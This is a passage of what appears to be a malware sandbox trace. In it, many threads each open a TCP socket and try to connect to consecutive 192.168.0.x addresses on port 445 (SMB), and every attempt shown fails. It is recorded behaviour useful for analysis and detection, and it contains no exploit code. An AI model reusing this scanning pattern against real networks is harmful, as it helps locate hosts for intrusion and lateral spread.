lpWSAData=0x1379fdf0) returned 0 [0081.142] socket (af=2, type=1, protocol=0) returned 0xfb8 [0081.142] inet_addr (cp="192.168.0.101") returned 0x6500a8c0 [0081.142] htons (hostshort=0x1bd) returned 0xbd01 [0081.142] connect (s=0xfb8, name=0x1379fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.101"), namelen=16) returned -1 [0102.266] closesocket (s=0xfb8) returned 0 [0102.266] WSACleanup () returned 0 [0102.266] GetCurrentThreadId () returned 0xd20 [0102.266] GetCurrentThreadId () returned 0xd20 [0102.266] GetCurrentThreadId () returned 0xd20 Thread: id = 244 os_tid = 0xd24 [0081.234] GetCurrentThreadId () returned 0xd24 [0081.234] GetCurrentThreadId () returned 0xd24 [0081.234] GetCurrentThreadId () returned 0xd24 [0081.234] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x138dfdf0 | out: lpWSAData=0x138dfdf0) returned 0 [0081.234] socket (af=2, type=1, protocol=0) returned 0xfcc [0081.234] inet_addr (cp="192.168.0.110") returned 0x6e00a8c0 [0081.234] htons (hostshort=0x1bd) returned 0xbd01 [0081.234] connect (s=0xfcc, name=0x138dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.110"), namelen=16) returned -1 [0102.357] closesocket (s=0xfcc) returned 0 [0102.357] WSACleanup () returned 0 [0102.357] GetCurrentThreadId () returned 0xd24 [0102.357] GetCurrentThreadId () returned 0xd24 [0102.357] GetCurrentThreadId () returned 0xd24 Thread: id = 245 os_tid = 0xd28 [0081.235] GetCurrentThreadId () returned 0xd28 [0081.235] GetCurrentThreadId () returned 0xd28 [0081.235] GetCurrentThreadId () returned 0xd28 [0081.235] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x13a1fdf0 | out: lpWSAData=0x13a1fdf0) returned 0 [0081.235] socket (af=2, type=1, protocol=0) returned 0xfd8 [0081.236] inet_addr (cp="192.168.0.102") returned 0x6600a8c0 [0081.236] htons (hostshort=0x1bd) returned 0xbd01 [0081.236] connect (s=0xfd8, name=0x13a1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.102"), namelen=16) returned -1 [0102.358] closesocket (s=0xfd8) returned 0 [0102.358] WSACleanup () returned 0 [0102.358] GetCurrentThreadId () returned 0xd28 [0102.358] GetCurrentThreadId () returned 0xd28 [0102.358] GetCurrentThreadId () returned 0xd28 Thread: id = 246 os_tid = 0xd2c [0081.328] GetCurrentThreadId () returned 0xd2c [0081.328] GetCurrentThreadId () returned 0xd2c [0081.328] GetCurrentThreadId () returned 0xd2c [0081.328] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x13b5fdf0 | out: lpWSAData=0x13b5fdf0) returned 0 [0081.328] socket (af=2, type=1, protocol=0) returned 0xfec [0081.328] inet_addr (cp="192.168.0.111") returned 0x6f00a8c0 [0081.328] htons (hostshort=0x1bd) returned 0xbd01 [0081.328] connect (s=0xfec, name=0x13b5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.111"), namelen=16) returned -1 [0102.654] closesocket (s=0xfec) returned 0 [0102.655] WSACleanup () returned 0 [0102.655] GetCurrentThreadId () returned 0xd2c [0102.655] GetCurrentThreadId () returned 0xd2c [0102.655] GetCurrentThreadId () returned 0xd2c Thread: id = 247 os_tid = 0xd30 [0081.329] GetCurrentThreadId () returned 0xd30 [0081.329] GetCurrentThreadId () returned 0xd30 [0081.329] GetCurrentThreadId () returned 0xd30 [0081.329] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x13c9fdf0 | out: lpWSAData=0x13c9fdf0) returned 0 [0081.329] socket (af=2, type=1, protocol=0) returned 0xff8 [0081.329] inet_addr (cp="192.168.0.103") returned 0x6700a8c0 [0081.329] htons (hostshort=0x1bd) returned 0xbd01 [0081.329] connect (s=0xff8, name=0x13c9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.103"), namelen=16) returned -1 [0102.655] closesocket (s=0xff8) returned 0 [0102.656] WSACleanup () returned 0 [0102.656] GetCurrentThreadId () returned 0xd30 [0102.656] GetCurrentThreadId () returned 0xd30 [0102.656] GetCurrentThreadId () returned 0xd30 Thread: id = 248 os_tid = 0xd34 [0081.421] GetCurrentThreadId () returned 0xd34 [0081.422] GetCurrentThreadId () returned 0xd34 [0081.422] GetCurrentThreadId () returned 0xd34 [0081.422] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x13ddfdf0 | out: lpWSAData=0x13ddfdf0) returned 0 [0081.422] socket (af=2, type=1, protocol=0) returned 0x1010 [0081.422] inet_addr (cp="192.168.0.112") returned 0x7000a8c0 [0081.422] htons (hostshort=0x1bd) returned 0xbd01 [0081.422] connect (s=0x1010, name=0x13ddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.112"), namelen=16) returned -1 [0102.656] closesocket (s=0x1010) returned 0 [0102.656] WSACleanup () returned 0 [0102.656] GetCurrentThreadId () returned 0xd34 [0102.657] GetCurrentThreadId () returned 0xd34 [0102.657] GetCurrentThreadId () returned 0xd34 Thread: id = 249 os_tid = 0xd38 [0081.423] GetCurrentThreadId () returned 0xd38 [0081.423] GetCurrentThreadId () returned 0xd38 [0081.423] GetCurrentThreadId () returned 0xd38 [0081.423] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x13f1fdf0 | out: lpWSAData=0x13f1fdf0) returned 0 [0081.423] socket (af=2, type=1, protocol=0) returned 0x101c [0081.423] inet_addr (cp="192.168.0.104") returned 0x6800a8c0 [0081.423] htons (hostshort=0x1bd) returned 0xbd01 [0081.423] connect (s=0x101c, name=0x13f1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.104"), namelen=16) returned -1 [0102.657] closesocket (s=0x101c) returned 0 [0102.657] WSACleanup () returned 0 [0102.657] GetCurrentThreadId () returned 0xd38 [0102.657] GetCurrentThreadId () returned 0xd38 [0102.657] GetCurrentThreadId () returned 0xd38 Thread: id = 250 os_tid = 0xd3c [0081.516] GetCurrentThreadId () returned 0xd3c [0081.516] GetCurrentThreadId () returned 0xd3c [0081.516] GetCurrentThreadId () returned 0xd3c [0081.516] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1405fdf0 | out: lpWSAData=0x1405fdf0) returned 0 [0081.516] socket (af=2, type=1, protocol=0) returned 0x1030 [0081.517] inet_addr (cp="192.168.0.113") returned 0x7100a8c0 [0081.517] htons (hostshort=0x1bd) returned 0xbd01 [0081.517] connect (s=0x1030, name=0x1405fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.113"), namelen=16) returned -1 [0102.658] closesocket (s=0x1030) returned 0 [0102.658] WSACleanup () returned 0 [0102.658] GetCurrentThreadId () returned 0xd3c [0102.658] GetCurrentThreadId () returned 0xd3c [0102.658] GetCurrentThreadId () returned 0xd3c Thread: id = 251 os_tid = 0xd40 [0081.518] GetCurrentThreadId () returned 0xd40 [0081.518] GetCurrentThreadId () returned 0xd40 [0081.518] GetCurrentThreadId () returned 0xd40 [0081.518] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1419fdf0 | out: lpWSAData=0x1419fdf0) returned 0 [0081.518] socket (af=2, type=1, protocol=0) returned 0x103c [0081.518] inet_addr (cp="192.168.0.105") returned 0x6900a8c0 [0081.518] htons (hostshort=0x1bd) returned 0xbd01 [0081.518] connect (s=0x103c, name=0x1419fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.105"), namelen=16) returned -1 [0102.659] closesocket (s=0x103c) returned 0 [0102.659] WSACleanup () returned 0 [0102.659] GetCurrentThreadId () returned 0xd40 [0102.659] GetCurrentThreadId () returned 0xd40 [0102.659] GetCurrentThreadId () returned 0xd40 Thread: id = 252 os_tid = 0xd44 [0081.608] GetCurrentThreadId () returned 0xd44 [0081.608] GetCurrentThreadId () returned 0xd44 [0081.609] GetCurrentThreadId () returned 0xd44 [0081.609] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x142dfdf0 | out: lpWSAData=0x142dfdf0) returned 0 [0081.609] socket (af=2, type=1, protocol=0) returned 0x1050 [0081.609] inet_addr (cp="192.168.0.114") returned 0x7200a8c0 [0081.609] htons (hostshort=0x1bd) returned 0xbd01 [0081.609] connect (s=0x1050, name=0x142dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.114"), namelen=16) returned -1 [0102.763] closesocket (s=0x1050) returned 0 [0102.763] WSACleanup () returned 0 [0102.763] GetCurrentThreadId () returned 0xd44 [0102.763] GetCurrentThreadId () returned 0xd44 [0102.763] GetCurrentThreadId () returned 0xd44 Thread: id = 253 os_tid = 0xd48 [0081.610] GetCurrentThreadId () returned 0xd48 [0081.610] GetCurrentThreadId () returned 0xd48 [0081.610] GetCurrentThreadId () returned 0xd48 [0081.610] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1441fdf0 | out: lpWSAData=0x1441fdf0) returned 0 [0081.610] socket (af=2, type=1, protocol=0) returned 0x105c [0081.610] inet_addr (cp="192.168.0.106") returned 0x6a00a8c0 [0081.610] htons (hostshort=0x1bd) returned 0xbd01 [0081.610] connect (s=0x105c, name=0x1441fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.106"), namelen=16) returned -1 [0102.764] closesocket (s=0x105c) returned 0 [0102.764] WSACleanup () returned 0 [0102.764] GetCurrentThreadId () returned 0xd48 [0102.764] GetCurrentThreadId () returned 0xd48 [0102.764] GetCurrentThreadId () returned 0xd48 Thread: id = 254 os_tid = 0xd4c [0081.702] GetCurrentThreadId () returned 0xd4c [0081.702] GetCurrentThreadId () returned 0xd4c [0081.702] GetCurrentThreadId () returned 0xd4c [0081.702] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1455fdf0 | out: lpWSAData=0x1455fdf0) returned 0 [0081.702] socket (af=2, type=1, protocol=0) returned 0x1070 [0081.702] inet_addr (cp="192.168.0.115") returned 0x7300a8c0 [0081.702] htons (hostshort=0x1bd) returned 0xbd01 [0081.702] connect (s=0x1070, name=0x1455fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.115"), namelen=16) returned -1 [0102.858] closesocket (s=0x1070) returned 0 [0102.869] WSACleanup () returned 0 [0102.869] GetCurrentThreadId () returned 0xd4c [0102.873] GetCurrentThreadId () returned 0xd4c [0102.873] GetCurrentThreadId () returned 0xd4c Thread: id = 255 os_tid = 0xd50 [0081.703] GetCurrentThreadId () returned 0xd50 [0081.703] GetCurrentThreadId () returned 0xd50 [0081.703] GetCurrentThreadId () returned 0xd50 [0081.703] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1469fdf0 | out: lpWSAData=0x1469fdf0) returned 0 [0081.703] socket (af=2, type=1, protocol=0) returned 0x107c [0081.706] inet_addr (cp="192.168.0.107") returned 0x6b00a8c0 [0081.706] htons (hostshort=0x1bd) returned 0xbd01 [0081.706] connect (s=0x107c, name=0x1469fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.107"), namelen=16) returned -1 [0102.874] closesocket (s=0x107c) returned 0 [0102.874] WSACleanup () returned 0 [0102.874] GetCurrentThreadId () returned 0xd50 [0102.874] GetCurrentThreadId () returned 0xd50 [0102.874] GetCurrentThreadId () returned 0xd50 Thread: id = 256 os_tid = 0xd54 [0081.796] GetCurrentThreadId () returned 0xd54 [0081.796] GetCurrentThreadId () returned 0xd54 [0081.796] GetCurrentThreadId () returned 0xd54 [0081.796] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x147dfdf0 | out: lpWSAData=0x147dfdf0) returned 0 [0081.796] socket (af=2, type=1, protocol=0) returned 0x1090 [0081.796] inet_addr (cp="192.168.0.116") returned 0x7400a8c0 [0081.796] htons (hostshort=0x1bd) returned 0xbd01 [0081.796] connect (s=0x1090, name=0x147dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.116"), namelen=16) returned -1 [0103.419] closesocket (s=0x1090) returned 0 [0103.419] WSACleanup () returned 0 [0103.419] GetCurrentThreadId () returned 0xd54 [0103.419] GetCurrentThreadId () returned 0xd54 [0103.419] GetCurrentThreadId () returned 0xd54 Thread: id = 257 os_tid = 0xd58 [0081.797] GetCurrentThreadId () returned 0xd58 [0081.797] GetCurrentThreadId () returned 0xd58 [0081.797] GetCurrentThreadId () returned 0xd58 [0081.797] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1491fdf0 | out: lpWSAData=0x1491fdf0) returned 0 [0081.797] socket (af=2, type=1, protocol=0) returned 0x109c [0081.798] inet_addr (cp="192.168.0.108") returned 0x6c00a8c0 [0081.798] htons (hostshort=0x1bd) returned 0xbd01 [0081.798] connect (s=0x109c, name=0x1491fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.108"), namelen=16) returned -1 [0103.420] closesocket (s=0x109c) returned 0 [0103.420] WSACleanup () returned 0 [0103.420] GetCurrentThreadId () returned 0xd58 [0103.420] GetCurrentThreadId () returned 0xd58 [0103.420] GetCurrentThreadId () returned 0xd58 Thread: id = 258 os_tid = 0xd5c [0081.889] GetCurrentThreadId () returned 0xd5c [0081.889] GetCurrentThreadId () returned 0xd5c [0081.889] GetCurrentThreadId () returned 0xd5c [0081.889] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x14a5fdf0 | out: lpWSAData=0x14a5fdf0) returned 0 [0081.889] socket (af=2, type=1, protocol=0) returned 0x10b0 [0081.890] inet_addr (cp="192.168.0.117") returned 0x7500a8c0 [0081.890] htons (hostshort=0x1bd) returned 0xbd01 [0081.890] connect (s=0x10b0, name=0x14a5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.117"), namelen=16) returned -1 [0103.421] closesocket (s=0x10b0) returned 0 [0103.421] WSACleanup () returned 0 [0103.421] GetCurrentThreadId () returned 0xd5c [0103.421] GetCurrentThreadId () returned 0xd5c [0103.421] GetCurrentThreadId () returned 0xd5c Thread: id = 259 os_tid = 0xd60 [0081.891] GetCurrentThreadId () returned 0xd60 [0081.891] GetCurrentThreadId () returned 0xd60 [0081.891] GetCurrentThreadId () returned 0xd60 [0081.891] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x14b9fdf0 | out: lpWSAData=0x14b9fdf0) returned 0 [0081.891] socket (af=2, type=1, protocol=0) returned 0x10bc [0081.891] inet_addr (cp="192.168.0.109") returned 0x6d00a8c0 [0081.891] htons (hostshort=0x1bd) returned 0xbd01 [0081.891] connect (s=0x10bc, name=0x14b9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.109"), namelen=16) returned -1 [0103.422] closesocket (s=0x10bc) returned 0 [0103.422] WSACleanup () returned 0 [0103.422] GetCurrentThreadId () returned 0xd60 [0103.422] GetCurrentThreadId () returned 0xd60 [0103.422] GetCurrentThreadId () returned 0xd60 Thread: id = 260 os_tid = 0xd64 [0081.983] GetCurrentThreadId () returned 0xd64 [0081.983] GetCurrentThreadId () returned 0xd64 [0081.983] GetCurrentThreadId () returned 0xd64 [0081.983] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x14cdfdf0 | out: lpWSAData=0x14cdfdf0) returned 0 [0081.983] socket (af=2, type=1, protocol=0) returned 0x10d0 [0081.983] inet_addr (cp="192.168.0.118") returned 0x7600a8c0 [0081.983] htons (hostshort=0x1bd) returned 0xbd01 [0081.983] connect (s=0x10d0, name=0x14cdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.118"), namelen=16) returned -1 [0103.423] closesocket (s=0x10d0) returned 0 [0103.423] WSACleanup () returned 0 [0103.423] GetCurrentThreadId () returned 0xd64 [0103.423] GetCurrentThreadId () returned 0xd64 [0103.423] GetCurrentThreadId () returned 0xd64 Thread: id = 261 os_tid = 0xd68 [0081.984] GetCurrentThreadId () returned 0xd68 [0081.984] GetCurrentThreadId () returned 0xd68 [0081.984] GetCurrentThreadId () returned 0xd68 [0081.984] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x14e1fdf0 | out: lpWSAData=0x14e1fdf0) returned 0 [0081.984] socket (af=2, type=1, protocol=0) returned 0x10dc [0081.985] inet_addr (cp="192.168.0.110") returned 0x6e00a8c0 [0081.985] htons (hostshort=0x1bd) returned 0xbd01 [0081.985] connect (s=0x10dc, name=0x14e1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.110"), namelen=16) returned -1 [0103.423] closesocket (s=0x10dc) returned 0 [0103.424] WSACleanup () returned 0 [0103.424] GetCurrentThreadId () returned 0xd68 [0103.424] GetCurrentThreadId () returned 0xd68 [0103.424] GetCurrentThreadId () returned 0xd68 Thread: id = 262 os_tid = 0xd6c [0082.092] GetCurrentThreadId () returned 0xd6c [0082.092] GetCurrentThreadId () returned 0xd6c [0082.092] GetCurrentThreadId () returned 0xd6c [0082.092] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x14f5fdf0 | out: lpWSAData=0x14f5fdf0) returned 0 [0082.092] socket (af=2, type=1, protocol=0) returned 0x10f0 [0082.093] inet_addr (cp="192.168.0.119") returned 0x7700a8c0 [0082.093] htons (hostshort=0x1bd) returned 0xbd01 [0082.093] connect (s=0x10f0, name=0x14f5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.119"), namelen=16) returned -1 [0103.424] closesocket (s=0x10f0) returned 0 [0103.424] WSACleanup () returned 0 [0103.425] GetCurrentThreadId () returned 0xd6c [0103.425] GetCurrentThreadId () returned 0xd6c [0103.425] GetCurrentThreadId () returned 0xd6c Thread: id = 263 os_tid = 0xd70 [0082.094] GetCurrentThreadId () returned 0xd70 [0082.094] GetCurrentThreadId () returned 0xd70 [0082.094] GetCurrentThreadId () returned 0xd70 [0082.094] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1509fdf0 | out: lpWSAData=0x1509fdf0) returned 0 [0082.094] socket (af=2, type=1, protocol=0) returned 0x10fc [0082.096] inet_addr (cp="192.168.0.111") returned 0x6f00a8c0 [0082.096] htons (hostshort=0x1bd) returned 0xbd01 [0082.096] connect (s=0x10fc, name=0x1509fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.111"), namelen=16) returned -1 [0103.425] closesocket (s=0x10fc) returned 0 [0103.425] WSACleanup () returned 0 [0103.425] GetCurrentThreadId () returned 0xd70 [0103.425] GetCurrentThreadId () returned 0xd70 [0103.425] GetCurrentThreadId () returned 0xd70 Thread: id = 264 os_tid = 0xd74 [0082.139] GetCurrentThreadId () returned 0xd74 [0082.139] GetCurrentThreadId () returned 0xd74 [0082.139] GetCurrentThreadId () returned 0xd74 [0082.139] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x151dfdf0 | out: lpWSAData=0x151dfdf0) returned 0 [0082.139] socket (af=2, type=1, protocol=0) returned 0x1110 [0082.140] inet_addr (cp="192.168.0.120") returned 0x7800a8c0 [0082.140] htons (hostshort=0x1bd) returned 0xbd01 [0082.140] connect (s=0x1110, name=0x151dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.120"), namelen=16) returned -1 [0103.426] closesocket (s=0x1110) returned 0 [0103.426] WSACleanup () returned 0 [0103.426] GetCurrentThreadId () returned 0xd74 [0103.426] GetCurrentThreadId () returned 0xd74 [0103.426] GetCurrentThreadId () returned 0xd74 Thread: id = 265 os_tid = 0xd78 [0082.141] GetCurrentThreadId () returned 0xd78 [0082.141] GetCurrentThreadId () returned 0xd78 [0082.141] GetCurrentThreadId () returned 0xd78 [0082.141] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1531fdf0 | out: lpWSAData=0x1531fdf0) returned 0 [0082.141] socket (af=2, type=1, protocol=0) returned 0x111c [0082.141] inet_addr (cp="192.168.0.112") returned 0x7000a8c0 [0082.141] htons (hostshort=0x1bd) returned 0xbd01 [0082.141] connect (s=0x111c, name=0x1531fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.112"), namelen=16) returned -1 [0103.427] closesocket (s=0x111c) returned 0 [0103.427] WSACleanup () returned 0 [0103.427] GetCurrentThreadId () returned 0xd78 [0103.427] GetCurrentThreadId () returned 0xd78 [0103.427] GetCurrentThreadId () returned 0xd78 Thread: id = 266 os_tid = 0xd7c [0082.232] GetCurrentThreadId () returned 0xd7c [0082.232] GetCurrentThreadId () returned 0xd7c [0082.233] GetCurrentThreadId () returned 0xd7c [0082.233] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1545fdf0 | out: lpWSAData=0x1545fdf0) returned 0 [0082.233] socket (af=2, type=1, protocol=0) returned 0x1130 [0082.235] inet_addr (cp="192.168.0.121") returned 0x7900a8c0 [0082.235] htons (hostshort=0x1bd) returned 0xbd01 [0082.235] connect (s=0x1130, name=0x1545fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.121"), namelen=16) returned -1 [0103.428] closesocket (s=0x1130) returned 0 [0103.428] WSACleanup () returned 0 [0103.428] GetCurrentThreadId () returned 0xd7c [0103.428] GetCurrentThreadId () returned 0xd7c [0103.428] GetCurrentThreadId () returned 0xd7c Thread: id = 267 os_tid = 0xd80 [0082.235] GetCurrentThreadId () returned 0xd80 [0082.235] GetCurrentThreadId () returned 0xd80 [0082.235] GetCurrentThreadId () returned 0xd80 [0082.236] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1559fdf0 | out: lpWSAData=0x1559fdf0) returned 0 [0082.236] socket (af=2, type=1, protocol=0) returned 0x113c [0082.236] inet_addr (cp="192.168.0.113") returned 0x7100a8c0 [0082.236] htons (hostshort=0x1bd) returned 0xbd01 [0082.236] connect (s=0x113c, name=0x1559fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.113"), namelen=16) returned -1 [0103.429] closesocket (s=0x113c) returned 0 [0103.429] WSACleanup () returned 0 [0103.429] GetCurrentThreadId () returned 0xd80 [0103.429] GetCurrentThreadId () returned 0xd80 [0103.429] GetCurrentThreadId () returned 0xd80 Thread: id = 268 os_tid = 0xd84 [0082.327] GetCurrentThreadId () returned 0xd84 [0082.327] GetCurrentThreadId () returned 0xd84 [0082.327] GetCurrentThreadId () returned 0xd84 [0082.327] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x156dfdf0 | out: lpWSAData=0x156dfdf0) returned 0 [0082.327] socket (af=2, type=1, protocol=0) returned 0x1150 [0082.327] inet_addr (cp="192.168.0.122") returned 0x7a00a8c0 [0082.327] htons (hostshort=0x1bd) returned 0xbd01 [0082.327] connect (s=0x1150, name=0x156dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.122"), namelen=16) returned -1 [0103.429] closesocket (s=0x1150) returned 0 [0103.430] WSACleanup () returned 0 [0103.430] GetCurrentThreadId () returned 0xd84 [0103.430] GetCurrentThreadId () returned 0xd84 [0103.430] GetCurrentThreadId () returned 0xd84 Thread: id = 269 os_tid = 0xd88 [0082.328] GetCurrentThreadId () returned 0xd88 [0082.328] GetCurrentThreadId () returned 0xd88 [0082.328] GetCurrentThreadId () returned 0xd88 [0082.328] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1581fdf0 | out: lpWSAData=0x1581fdf0) returned 0 [0082.328] socket (af=2, type=1, protocol=0) returned 0x115c [0082.328] inet_addr (cp="192.168.0.114") returned 0x7200a8c0 [0082.328] htons (hostshort=0x1bd) returned 0xbd01 [0082.328] connect (s=0x115c, name=0x1581fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.114"), namelen=16) returned -1 [0103.430] closesocket (s=0x115c) returned 0 [0103.431] WSACleanup () returned 0 [0103.431] GetCurrentThreadId () returned 0xd88 [0103.431] GetCurrentThreadId () returned 0xd88 [0103.431] GetCurrentThreadId () returned 0xd88 Thread: id = 270 os_tid = 0xd8c [0082.421] GetCurrentThreadId () returned 0xd8c [0082.421] GetCurrentThreadId () returned 0xd8c [0082.421] GetCurrentThreadId () returned 0xd8c [0082.421] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1595fdf0 | out: lpWSAData=0x1595fdf0) returned 0 [0082.421] socket (af=2, type=1, protocol=0) returned 0x1170 [0082.421] inet_addr (cp="192.168.0.123") returned 0x7b00a8c0 [0082.421] htons (hostshort=0x1bd) returned 0xbd01 [0082.421] connect (s=0x1170, name=0x1595fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.123"), namelen=16) returned -1 [0103.514] closesocket (s=0x1170) returned 0 [0103.515] WSACleanup () returned 0 [0103.515] GetCurrentThreadId () returned 0xd8c [0103.515] GetCurrentThreadId () returned 0xd8c [0103.515] GetCurrentThreadId () returned 0xd8c Thread: id = 271 os_tid = 0xd90 [0082.422] GetCurrentThreadId () returned 0xd90 [0082.422] GetCurrentThreadId () returned 0xd90 [0082.422] GetCurrentThreadId () returned 0xd90 [0082.422] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x15a9fdf0 | out: lpWSAData=0x15a9fdf0) returned 0 [0082.422] socket (af=2, type=1, protocol=0) returned 0x117c [0082.422] inet_addr (cp="192.168.0.115") returned 0x7300a8c0 [0082.422] htons (hostshort=0x1bd) returned 0xbd01 [0082.422] connect (s=0x117c, name=0x15a9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.115"), namelen=16) returned -1 [0103.516] closesocket (s=0x117c) returned 0 [0103.516] WSACleanup () returned 0 [0103.516] GetCurrentThreadId () returned 0xd90 [0103.516] GetCurrentThreadId () returned 0xd90 [0103.516] GetCurrentThreadId () returned 0xd90 Thread: id = 272 os_tid = 0xd94 [0082.514] GetCurrentThreadId () returned 0xd94 [0082.514] GetCurrentThreadId () returned 0xd94 [0082.514] GetCurrentThreadId () returned 0xd94 [0082.514] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x15bdfdf0 | out: lpWSAData=0x15bdfdf0) returned 0 [0082.514] socket (af=2, type=1, protocol=0) returned 0x1190 [0082.515] inet_addr (cp="192.168.0.124") returned 0x7c00a8c0 [0082.515] htons (hostshort=0x1bd) returned 0xbd01 [0082.515] connect (s=0x1190, name=0x15bdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.124"), namelen=16) returned -1 [0103.620] closesocket (s=0x1190) returned 0 [0103.621] WSACleanup () returned 0 [0103.621] GetCurrentThreadId () returned 0xd94 [0103.621] GetCurrentThreadId () returned 0xd94 [0103.621] GetCurrentThreadId () returned 0xd94 Thread: id = 273 os_tid = 0xd98 [0082.516] GetCurrentThreadId () returned 0xd98 [0082.516] GetCurrentThreadId () returned 0xd98 [0082.516] GetCurrentThreadId () returned 0xd98 [0082.516] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x15d1fdf0 | out: lpWSAData=0x15d1fdf0) returned 0 [0082.516] socket (af=2, type=1, protocol=0) returned 0x119c [0082.516] inet_addr (cp="192.168.0.116") returned 0x7400a8c0 [0082.516] htons (hostshort=0x1bd) returned 0xbd01 [0082.516] connect (s=0x119c, name=0x15d1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.116"), namelen=16) returned -1 [0103.621] closesocket (s=0x119c) returned 0 [0103.622] WSACleanup () returned 0 [0103.622] GetCurrentThreadId () returned 0xd98 [0103.622] GetCurrentThreadId () returned 0xd98 [0103.622] GetCurrentThreadId () returned 0xd98 Thread: id = 274 os_tid = 0xd9c [0082.608] GetCurrentThreadId () returned 0xd9c [0082.608] GetCurrentThreadId () returned 0xd9c [0082.608] GetCurrentThreadId () returned 0xd9c [0082.608] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x15e5fdf0 | out: lpWSAData=0x15e5fdf0) returned 0 [0082.608] socket (af=2, type=1, protocol=0) returned 0x11b0 [0082.608] inet_addr (cp="192.168.0.125") returned 0x7d00a8c0 [0082.608] htons (hostshort=0x1bd) returned 0xbd01 [0082.608] connect (s=0x11b0, name=0x15e5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.125"), namelen=16) returned -1 [0103.948] closesocket (s=0x11b0) returned 0 [0103.948] WSACleanup () returned 0 [0103.948] GetCurrentThreadId () returned 0xd9c [0103.948] GetCurrentThreadId () returned 0xd9c [0103.948] GetCurrentThreadId () returned 0xd9c Thread: id = 275 os_tid = 0xda0 [0082.615] GetCurrentThreadId () returned 0xda0 [0082.615] GetCurrentThreadId () returned 0xda0 [0082.615] GetCurrentThreadId () returned 0xda0 [0082.615] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x15f9fdf0 | out: lpWSAData=0x15f9fdf0) returned 0 [0082.615] socket (af=2, type=1, protocol=0) returned 0x11bc [0082.615] inet_addr (cp="192.168.0.117") returned 0x7500a8c0 [0082.615] htons (hostshort=0x1bd) returned 0xbd01 [0082.615] connect (s=0x11bc, name=0x15f9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.117"), namelen=16) returned -1 [0103.949] closesocket (s=0x11bc) returned 0 [0103.949] WSACleanup () returned 0 [0103.949] GetCurrentThreadId () returned 0xda0 [0103.949] GetCurrentThreadId () returned 0xda0 [0103.949] GetCurrentThreadId () returned 0xda0 Thread: id = 276 os_tid = 0xda4 [0082.700] GetCurrentThreadId () returned 0xda4 [0082.700] GetCurrentThreadId () returned 0xda4 [0082.700] GetCurrentThreadId () returned 0xda4 [0082.701] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x160dfdf0 | out: lpWSAData=0x160dfdf0) returned 0 [0082.701] socket (af=2, type=1, protocol=0) returned 0x11d0 [0082.701] inet_addr (cp="192.168.0.126") returned 0x7e00a8c0 [0082.701] htons (hostshort=0x1bd) returned 0xbd01 [0082.701] connect (s=0x11d0, name=0x160dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.126"), namelen=16) returned -1 [0103.950] closesocket (s=0x11d0) returned 0 [0103.950] WSACleanup () returned 0 [0103.950] GetCurrentThreadId () returned 0xda4 [0103.950] GetCurrentThreadId 